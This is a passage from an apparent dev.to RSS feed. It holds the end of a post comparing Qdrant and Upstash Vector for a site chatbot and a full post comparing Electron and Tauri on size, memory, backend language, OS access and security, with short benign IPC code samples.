&lt;li&gt;you want to develop locally and offline, with a dashboard&lt;/li&gt;
&lt;li&gt;you want to tune: the fusion k, the HNSW settings, how many candidates each side contributes&lt;/li&gt;
&lt;li&gt;your content is large or changes often, since writes aren't metered&lt;/li&gt;
&lt;li&gt;something will use it at least weekly (a daily ping is enough), or you can live with rebuilding it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Pick Upstash Vector if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;you want no setup and no risk of the database disappearing&lt;/li&gt;
&lt;li&gt;your content is small or rarely changes, so writes stay well under 10,000 a day&lt;/li&gt;
&lt;li&gt;you want to try its hosted embeddings to shrink a serverless function&lt;/li&gt;
&lt;li&gt;you prefer plain HTTP with no connection to manage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a personal site, either is fine. The chatbot on this site uses Qdrant, and switching it to the Upstash twin is one line in the site's settings.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Measure search before tuning anything.&lt;/strong&gt; Writing 38 questions with the pages that answer them took about an hour, and it caught every mistake in this post: the k default, the random ties, &lt;code&gt;top_k&lt;/code&gt;, and one wrong label in my own answer key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hybrid search beats either half&lt;/strong&gt;, especially on questions phrased differently from the page.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The pipeline matters more than the database:&lt;/strong&gt; chunking at headings, putting each page's metadata in its first chunk, and a clean source file.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Defaults are decisions.&lt;/strong&gt; RRF's k, &lt;code&gt;top_k&lt;/code&gt; doubling as the candidate count, IDF being off unless you ask, and FastEmbed's default batch size, which made embedding five times slower on a CPU (9.9 s against 1.8 s for 76 passages) because every text in a batch is padded to the longest.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;On a free stack, the limits shape the design.&lt;/strong&gt; Groq's token budget set the five passages, Qdrant's idle rule added a cron, and Upstash's write metering would decide how a large site re-indexes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next week, Part 2 walks through building one for your own site, step by step, with either database. If you want the code before then, &lt;a href="mailto:khanhuzaifa207@gmail.com"&gt;email me&lt;/a&gt; with your GitHub username and I'll invite you to both repositories.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>rag</category>
      <category>python</category>
      <category>vectordatabase</category>
    </item>
    <item>
      <title>Electron vs Tauri: how to choose for your next desktop app</title>
      <dc:creator>Huzaifa Khan</dc:creator>
      <pubDate>Tue, 13 Oct 2026 08:24:19 +0000</pubDate>
      <link>https://dev.to/huzaifa207/electron-vs-tauri-how-to-choose-for-your-next-desktop-app-392e</link>
      <guid>https://dev.to/huzaifa207/electron-vs-tauri-how-to-choose-for-your-next-desktop-app-392e</guid>
      <description>&lt;p&gt;A practical comparison from building with both, covering app size, memory, the backend language, OS access, security, and the trade-offs that only show up later.&lt;/p&gt;

&lt;p&gt;If you want to build a desktop app with web technology, you'll end up choosing between &lt;strong&gt;Electron&lt;/strong&gt; and &lt;strong&gt;Tauri&lt;/strong&gt;. Both let you write the interface in HTML, CSS, and JavaScript, with React, Svelte, Vue, or whatever you already use. The difference is everything underneath it.&lt;/p&gt;

&lt;p&gt;I've built and shipped desktop apps with both. Here are the differences that actually mattered, and how I'd decide today.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one-line version
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Electron ships a browser with your app. Tauri borrows the one the operating system already has.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An Electron app bundles its own copy of Chromium to draw the interface, and Node.js to run the backend. A Tauri app uses the system webview (WebView2 on Windows, WebKit on macOS and Linux) and runs its backend in Rust, compiled into one small native binary.&lt;/p&gt;

&lt;p&gt;Almost every other difference follows from that.&lt;/p&gt;

&lt;h2&gt;
  
  
  At a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Electron&lt;/th&gt;
&lt;th&gt;Tauri&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Renders with&lt;/td&gt;
&lt;td&gt;Its own bundled Chromium&lt;/td&gt;
&lt;td&gt;The OS webview&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backend language&lt;/td&gt;
&lt;td&gt;JavaScript or TypeScript (Node.js)&lt;/td&gt;
&lt;td&gt;Rust&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Minimal app size&lt;/td&gt;
&lt;td&gt;Around 80 MB or more&lt;/td&gt;
&lt;td&gt;A few MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same rendering on every OS&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Mostly; test each webview&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access to the OS&lt;/td&gt;
&lt;td&gt;Node.js APIs, C++ native addons&lt;/td&gt;
&lt;td&gt;Rust crates, OS APIs directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security model&lt;/td&gt;
&lt;td&gt;Open, then you restrict it&lt;/td&gt;
&lt;td&gt;Closed, then you grant permissions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mobile apps&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;iOS and Android (Tauri 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maturity&lt;/td&gt;
&lt;td&gt;Since 2013, huge ecosystem&lt;/td&gt;
&lt;td&gt;Stable since 2022, growing fast&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  1. App size
&lt;/h2&gt;

&lt;p&gt;This is the difference people notice first. Every Electron app carries Chromium and Node.js, so even a "hello world" lands around 80 MB or more once packaged, and updates can mean downloading much of that again.&lt;/p&gt;

&lt;p&gt;A Tauri app ships only your code and a Rust binary. A minimal app can be a few megabytes, and real apps usually stay in the tens of megabytes, not the hundreds. When I moved an app from Electron to Tauri, the installer shrank to a fraction of its old size, with the same features.&lt;/p&gt;

&lt;p&gt;If your users download the app over slow connections, or an IT team has to push it to hundreds of machines, size stops being a vanity metric.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Memory and startup
&lt;/h2&gt;

&lt;p&gt;Each Electron app runs its own Chromium: a main process, renderer processes, and a GPU process. That's why a handful of Electron apps open at once can take a surprising amount of RAM.&lt;/p&gt;

&lt;p&gt;Tauri apps are usually lighter and quicker to start, because there's no Node.js runtime and the webview is part of the OS. One caveat: on Windows, WebView2 is Chromium under the hood, so the savings there are smaller than the installer size suggests. Measure on the platforms your users actually have.&lt;/p&gt;

&lt;p&gt;For an app that stays open all day, like a tracker, a chat client, or a menu bar utility, this matters far more than for something people open once a week.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The backend language: Node.js vs Rust
&lt;/h2&gt;

&lt;p&gt;This is the real decision, more than size.&lt;/p&gt;

&lt;p&gt;In Electron, the backend (the main process) is Node.js. Your whole team can work in TypeScript, and the entire npm ecosystem is available. The interface talks to the backend over IPC, through a preload script that decides what the page is allowed to call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// main.js&lt;/span&gt;
&lt;span class="nx"&gt;ipcMain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;greet&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;`Hello, &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;!`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// preload.js&lt;/span&gt;
&lt;span class="nx"&gt;contextBridge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exposeInMainWorld&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;api&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;ipcRenderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;greet&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// In the page&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Ada&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Tauri, the backend is Rust. You write a function, mark it as a command, and call it from the frontend:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src-tauri/src/lib.rs&lt;/span&gt;
&lt;span class="nd"&gt;#[tauri::command]&lt;/span&gt;
&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hello, {name}!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;tauri&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.invoke_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;tauri&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;generate_handler!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="nf"&gt;.run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;tauri&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;generate_context!&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="nf"&gt;.expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"error while running tauri application"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In the page&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;invoke&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@tauri-apps/api/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;greet&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Ada&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The shape is almost the same. The cost is the language. If nobody on the team knows Rust, the first few weeks will be slower, and the borrow checker takes some getting used to. Tauri's official plugins cover a lot without writing any Rust (files, dialogs, notifications, HTTP, the auto-updater), so you can start mostly in JavaScript and drop into Rust only when you need to.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Talking to the operating system
&lt;/h2&gt;

&lt;p&gt;Sooner or later, a desktop app needs something the web platform doesn't offer: reading the active window, talking to hardware, or calling a system API.&lt;/p&gt;

&lt;p&gt;In Electron, if Node.js can't do it, you need a native addon, usually written in C++. That means a second language, a build step through node-gyp, and rebuilding the addon for every Electron version, because it has to match the Node.js inside Electron. Even common packages, like a SQLite driver, have to be rebuilt this way.&lt;/p&gt;

&lt;p&gt;In Tauri, that code is just Rust. It lives in the same codebase as the rest of your backend, compiles with it, and can call OS APIs directly through crates like &lt;code&gt;windows&lt;/code&gt; on Windows or &lt;code&gt;objc2&lt;/code&gt; on macOS. When I made this switch, the separate C++ pieces disappeared. The OS integration became ordinary Rust functions inside the app.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Security defaults
&lt;/h2&gt;

&lt;p&gt;Electron's defaults are much better than they used to be: context isolation and the renderer sandbox are on, and Node.js is off in the page. But the model is still "open, then restrict". Your preload script decides what the page can reach, and it's easy to expose more than you meant to, like a handler that runs whatever command it's given.&lt;/p&gt;

&lt;p&gt;Tauri starts closed. The frontend can't touch the file system, the shell, or the network on its own, and each plugin permission has to be granted in a capabilities file, per window:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"identifier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"windows"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"core:default"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dialog:allow-open"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's also no Node.js runtime inside the app, which removes a whole class of problems. If your app handles sensitive data, Tauri makes the secure path the default one.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. The trade-off nobody mentions: three different browsers
&lt;/h2&gt;

&lt;p&gt;Electron's biggest advantage is the flip side of its size: your app renders in exactly the same Chromium on Windows, macOS, and Linux. What you test is what everyone gets.&lt;/p&gt;

&lt;p&gt;Tauri renders with whatever the OS provides: WebView2 (Chromium) on Windows, Safari's WebKit on macOS, and WebKitGTK on Linux. Most modern CSS and JavaScript works everywhere, but you will hit differences: a CSS feature WebKit doesn't support yet, a media or WebRTC API that behaves differently, or fonts that render slightly off. On Linux, the WebKitGTK version also depends on the user's distribution.&lt;/p&gt;

&lt;p&gt;In practice, that means testing on all three platforms, ideally in CI, instead of developing in Chrome and hoping for the best. If your app leans on cutting-edge browser APIs, Electron will save you real headaches.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Tooling and ecosystem
&lt;/h2&gt;

&lt;p&gt;Electron has been around since 2013 and powers VS Code, Slack, Discord, and many more. Almost every problem you'll hit has already been answered somewhere, and packaging, auto-updates, and code signing all have well-worn tools.&lt;/p&gt;

&lt;p&gt;Tauri is younger (1.0 in 2022, 2.0 in 2024) but moving fast, and its official plugins and docs are good. Expect a few more figure-it-out-yourself moments, plus Rust build times: the first build is slow, and later builds are incremental and much quicker.&lt;/p&gt;

&lt;p&gt;Either way, you'll want code signing on macOS and Windows so users don't click through scary warnings, and a CI pipeline that builds on each OS.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus: mobile
&lt;/h2&gt;

&lt;p&gt;Tauri 2 can also build iOS and Android apps from the same project. It won't replace a fully native mobile app, but if you want one codebase across desktop and mobile, Electron doesn't go there at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I'd choose
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Pick Electron if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your team works in JavaScript or TypeScript and doesn't want to take on Rust right now&lt;/li&gt;
&lt;li&gt;You need identical rendering on every OS, or depend on Chromium-specific APIs&lt;/li&gt;
&lt;li&gt;You rely on npm packages that need Node.js at runtime&lt;/li&gt;
&lt;li&gt;Shipping quickly matters more than install size&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Pick Tauri if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Size and memory matter: the app runs all day, or gets installed on many machines&lt;/li&gt;
&lt;li&gt;You need deep OS integration and would rather write Rust than C++ addons&lt;/li&gt;
&lt;li&gt;Security is a priority and you want permissions locked down by default&lt;/li&gt;
&lt;li&gt;You might want mobile apps from the same codebase later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a new app where size, memory, or security matter, I'd start with Tauri today. Its costs, mainly learning Rust and testing across webviews, are paid once by the team. Electron's size and memory cost is paid by every user, on every machine. But if your team lives in TypeScript and needs to ship next month, Electron is still a perfectly good choice.&lt;/p&gt;

&lt;p&gt;Weighing the two for a project? &lt;a href="mailto:khanhuzaifa207@gmail.com"&gt;Email me&lt;/a&gt; and I'm happy to talk it through.&lt;/p&gt;

</description>
      <category>electron</category>
      <category>tauri</category>
      <category>rust</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
